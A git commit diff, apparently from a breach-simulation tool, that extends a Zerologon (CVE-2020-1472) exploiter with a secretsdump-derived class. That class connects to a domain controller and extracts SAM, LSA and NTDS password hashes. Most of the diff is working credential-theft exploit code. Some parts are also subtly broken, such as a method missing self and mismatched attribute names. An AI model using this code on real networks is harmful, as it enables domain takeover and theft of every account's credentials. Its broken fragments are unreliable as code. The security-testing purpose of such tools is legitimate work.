Get original passwords' hashes

This commit is contained in:
Shreya 2021-01-07 09:54:33 +05:30
parent a4207494ec
commit 5cd8b39f0f
1 changed files with 268 additions and 14 deletions

View File

@ -3,19 +3,28 @@ Zerologon, CVE-2020-1472
Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/. Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/.
""" """
from __future__ import division, print_function
import argparse
import codecs
import logging import logging
import os
from impacket.dcerpc.v5 import epm, nrpc, transport import re
import sys
from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport
from impacket import crypto
from impacket.dcerpc.v5.ndr import NDRCALL
import impacket
from binascii import hexlify, unhexlify from binascii import hexlify, unhexlify
from Cryptodome.Cipher import DES, AES, ARC4
import impacket
from Cryptodome.Cipher import AES, ARC4, DES
from impacket import crypto, version
from impacket.dcerpc.v5 import epm, nrpc, transport
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.examples import logger
from impacket.examples.secretsdump import (LocalOperations, LSASecrets,
NTDSHashes, RemoteOperations,
SAMHashes)
from impacket.krb5.keytab import Keytab
from impacket.smbconnection import SMBConnection
from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger
@ -26,6 +35,33 @@ class ZerologonExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows'] _TARGET_OS_TYPE = ['windows']
_EXPLOITED_SERVICE = 'Netlogon' _EXPLOITED_SERVICE = 'Netlogon'
MAX_ATTEMPTS = 2000 MAX_ATTEMPTS = 2000
OPTIONS_FOR_SECRETSDUMP =\
{
'aes_key': None,
'bootkey': None,
'dc_ip': None,
'debug': False,
'exec_method': 'smbexec',
'hashes': None,
'history': False,
'just_dc': True,
'just_dc_ntlm': False,
'just_dc_user': None,
'k': False,
'keytab': None,
'no_pass': True,
'ntds': None,
'outputfile': None,
'pwd_last_set': False,
'resumefile': None,
'sam': None,
'security': None,
'system': None,
# target and target_ip are assigned in get_original_pwd_nthash()
'ts': False,
'use_vss': False,
'user_status': False
}
def __init__(self, host): def __init__(self, host):
super().__init__(host) super().__init__(host)
@ -65,7 +101,6 @@ class ZerologonExploiter(HostExploiter):
LOG.info("Non-zero return code, something went wrong.") LOG.info("Non-zero return code, something went wrong.")
## how do i execute monkey on the exploited machine? ## how do i execute monkey on the exploited machine?
## restore password
else: else:
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
@ -101,8 +136,6 @@ class ZerologonExploiter(HostExploiter):
return rpc_con.request(request) return rpc_con.request(request)
def restore_password(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash): def restore_password(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
## get nthash using secretsdump and then restore password
# Keep authenticating until successful. # Keep authenticating until successful.
LOG.info("Restoring original password...") LOG.info("Restoring original password...")
@ -116,6 +149,21 @@ class ZerologonExploiter(HostExploiter):
else: else:
LOG.info("Failed to restore password.") LOG.info("Failed to restore password.")
def get_original_pwd_nthash(DC_NAME, DC_IP):
OPTIONS_FOR_SECRETSDUMP['target'] = '\\$@'.join([DC_NAME, DC_IP]) # format for DC account: NetBIOSName\$@10.2.1.1
OPTIONS_FOR_SECRETSDUMP['target_ip'] = DC_IP
domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
OPTIONS_FOR_SECRETSDUMP['target']).groups('')
# In case the password contains '@'
if '@' in remote_name:
password = password + '@' + remote_name.rpartition('@')[0]
remote_name = remote_name.rpartition('@')[2]
dumper = DumpSecrets(remote_name, username, password, domain, OPTIONS_FOR_SECRETSDUMP)
dumper.dump()
def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash): def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
# Connect to the DC's Netlogon service. # Connect to the DC's Netlogon service.
rpc_con = self.connect_to_dc(DC_IP) rpc_con = self.connect_to_dc(DC_IP)
@ -194,3 +242,209 @@ class NetrServerPasswordSetResponse(nrpc.NDRCALL):
('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR), ('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR),
('ErrorCode', nrpc.NTSTATUS), ('ErrorCode', nrpc.NTSTATUS),
) )
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
class DumpSecrets:
def __init__(self, remote_name, username='', password='', domain='', options=None):
self.__use_VSS_method = options['use_vss']
self.__remote_name = remote_name
self.__remote_host = options['target_ip']
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aes_key = options['aes_key']
self.__smb_connection = None
self.__remote_ops = None
self.__SAM_hashes = None
self.__NTDS_hashes = None
self.__LSA_secrets = None
self.__system_hive = options['system']
self.__bootkey = options['bootkey']
self.__security_hive = options['security']
self.__sam_hive = options['sam']
self.__ntds_file = options['ntds']
self.__history = options['history']
self.__no_lmhash = True
self.__is_remote = True
self.__output_file_name = options['outputfile']
self.__do_kerberos = options['k']
self.__just_DC = options['just_dc']
self.__just_DC_NTLM = options['just_dc_ntlm']
self.__just_user = options['just_dc_user']
self.__pwd_last_set = options['pwd_last_set']
self.__print_user_status = options['user_status']
self.__resume_file_name = options['resumefile']
self.__can_process_SAM_LSA = True
self.__kdc_host = options['dc_ip']
self.__options = options
if options['hashes'] is not None:
self.__lmhash, self.__nthash = options['hashes'].split(':')
def connect(self):
self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host)
if self.__do_kerberos:
self.__smb_connection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aes_key, self.__kdc_host)
else:
self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def dump(self):
try:
if self.__remote_name.upper() == 'LOCAL' and self.__username == '':
self.__is_remote = False
self.__use_VSS_method = True
if self.__system_hive:
local_operations = LocalOperations(self.__system_hive)
bootkey = local_operations.getBootKey()
if self.__ntds_file is not None:
# Let's grab target's configuration about LM Hashes storage
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
else:
import binascii
bootkey = binascii.unhexlify(self.__bootkey)
else:
self.__is_remote = True
bootkey = None
try:
try:
self.connect()
except Exception as e:
if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True:
# SMBConnection failed. That might be because there was no way to log into the
# target system. We just have a last resort. Hope we have tickets cached and that they
# will work
logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
pass
else:
raise
self.__remote_ops = RemoteOperations(self.__smb_connection, self.__do_kerberos, self.__kdc_host)
self.__remote_ops.setExecMethod(self.__options['exec_method'])
if self.__just_dc is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True:
self.__remote_ops.enableRegistry()
bootkey = self.__remote_ops.getBootKey()
# Let's check whether target system stores LM Hashes
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
except Exception as e:
self.__can_process_SAM_LSA = False
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
and self.__do_kerberos is True:
# Giving some hints here when SPN target name validation is set to something different to Off
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/
logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' +
'Try -just-dc-user')
else:
logging.error('RemoteOperations failed: %s' % str(e))
# If RemoteOperations succeeded, then we can extract SAM and LSA
if self.__just_dc is False and self.__just_dc_ntlm is False and self.__can_process_SAM_LSA:
try:
if self.__is_remote is True:
SAM_file_name = self.__remote_ops.saveSAM()
else:
SAM_file_name = self.__sam_hive
self.__SAM_hashes = SAMHashes(SAM_file_name, bootkey, isRemote=self.__is_remote)
self.__SAM_hashes.dump()
if self.__output_file_name is not None:
self.__SAM_hashes.export(self.__output_file_name)
except Exception as e:
logging.error('SAM hashes extraction failed: %s' % str(e))
try:
if self.__is_remote is True:
SECURITY_file_name = self.__remote_ops.saveSECURITY()
else:
SECURITY_file_name = self.__security_hive
self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops,
isRemote=self.__is_remote, history=self.__history)
self.__LSA_secrets.dumpCachedHashes()
if self.__output_file_name is not None:
self.__LSA_secrets.exportCached(self.__output_file_name)
self.__LSA_secrets.dumpSecrets()
if self.__output_file_name is not None:
self.__LSA_secrets.exportSecrets(self.__output_file_name)
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error('LSA hashes extraction failed: %s' % str(e))
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
if self.__is_remote is True:
if self.__use_VSS_method and self.__remote_ops is not None:
NTDS_file_name = self.__remote_ops.saveNTDS()
else:
NTDS_file_name = None
else:
NTDS_file_name = self.__ntds_file
self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote, history=self.__history,
noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops,
useVSSmethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM,
pwdLastSet=self.__pwd_last_set, resumeSession=self.__resume_file_name,
outputFileName=self.__output_file_name, justUser=self.__just_user,
printUserStatus=self.__print_user_status)
try:
self.__NTDS_hashes.dump()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
resume_file = self.__NTDS_hashes.getResumeSessionFile()
if resume_file is not None:
os.unlink(resume_file)
logging.error(e)
if self.__just_user and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0:
logging.info("You just got that error because there might be some duplicates of the same name. "
"Try specifying the domain name for the user as well. It is important to specify it "
"in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
elif self.__use_VSS_method is False:
logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
self.cleanup()
except (Exception, KeyboardInterrupt) as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(e)
if self.__NTDS_hashes is not None:
if isinstance(e, KeyboardInterrupt):
while True:
answer = input("Delete resume session file? [y/N] ")
if answer.upper() == '':
answer = 'N'
break
elif answer.upper() == 'Y':
answer = 'Y'
break
elif answer.upper() == 'N':
answer = 'N'
break
if answer == 'Y':
resume_file = self.__NTDS_hashes.getResumeSessionFile()
if resume_file is not None:
os.unlink(resume_file)
try:
self.cleanup()
except:
pass
def cleanup(self):
logging.info('Cleaning up... ')
if self.__remote_ops:
self.__remote_ops.finish()
if self.__SAM_hashes:
self.__SAM_hashes.finish()
if self.__LSA_secrets:
self.__LSA_secrets.finish()
if self.__NTDS_hashes:
self.__NTDS_hashes.finish()